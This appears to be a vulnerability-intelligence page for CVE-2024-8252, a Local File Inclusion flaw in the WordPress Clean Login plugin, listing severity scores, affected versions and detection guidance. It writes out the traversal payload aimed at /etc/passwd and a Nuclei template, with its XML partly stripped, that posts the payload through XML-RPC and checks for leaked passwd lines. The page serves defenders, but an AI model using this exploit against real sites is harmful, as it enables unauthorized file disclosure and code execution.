CVE-2024-8252
published 2024-08-30CVE-2024-8252: The Clean Login plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.14.5 via the 'template' attribute of the…
PriorityP263high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
3.03%
85.8th percentile
The Clean Login plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.14.5 via the 'template' attribute of the clean-login-register shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| codection | clean_login | < 1.14.6 | 1.14.6 |
| hornero | clean_login | <= 1.14.5 | — |
Detection & IOCsextracted from sources · hover to see the quote
command[clean-login-register template="../../../../../../../etc/passwd"]
path../../../../../../../etc/passwd
- →Exploit uses WordPress XML-RPC (wp.newPost) to create a post containing the malicious shortcode [clean-login-register template="../../../../../../../etc/passwd"], then fetches the published post to trigger LFI. Detect POST requests to /xmlrpc.php containing 'clean-login-register' and path traversal sequences in the post_content field.
- →The exploit chain first calls wp.getUsersBlogs to validate credentials, then wp.newPost to inject the payload. Monitor XML-RPC calls that combine authentication probing (wp.getUsersBlogs) followed immediately by wp.newPost with shortcode content.
- →Successful exploitation is confirmed by the presence of 'root:.*:0:0:' pattern in the HTTP response body of the published post page (/?p=<postid>). Alert on responses matching this regex from WordPress page requests.
- →The vulnerable shortcode attribute is 'template' in the clean-login-register shortcode. Any path traversal string (e.g., '../') passed to this attribute in post content should be flagged as a LFI attempt. ↗
- ·Exploitation requires at minimum Contributor-level authenticated access to WordPress; unauthenticated exploitation is not possible. ↗
- ·The vulnerability affects all versions of the Clean Login plugin up to and including 1.14.5. Installations on versions beyond 1.14.5 are not affected. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Nuclei
WordPress Clean Login <= 1.14.5 Authenticated (Contributor+) - Local File Inclusion
nuclei·CVSS 8.8
CVE-2024-8252 [HIGH] WordPress Clean Login <= 1.14.5 Authenticated (Contributor+) - Local File Inclusion
WordPress Clean Login
wp.getUsersBlogs
{{username}}
{{password}}
- |
POST /xmlrpc.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
wp.newPost
1
{{username}}
{{password}}
post_title
{{randstr}}
post_content
[clean-login-register template="../../../../../../../etc/passwd"]
post_status
publish
post_type
post
extractors:
- type: regex
name: postid
part: body_2
group: 1
regex:
- '(\d+)'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'contains(body_1, "")'
- 'contains(body_2, "")'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/?p={{postid}}"
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'regex("root:.*:0:0:", body)'
condition: and
# digest: 4b0a00483046022100d96476cf80afa745eda
No writeups or analysis indexed.
https://plugins.trac.wordpress.org/browser/clean-login/tags/1.14.5/include/frontend.php#L20https://plugins.trac.wordpress.org/browser/clean-login/tags/1.14.5/include/shortcodes.php#L146https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3143241%40clean-login&new=3143241%40clean-login&sfp_email=&sfph_mail=https://www.wordfence.com/threat-intel/vulnerabilities/id/b9f99b51-e1b1-4cd3-a9f7-24e4b59811a7?source=cve
2024-08-30
Published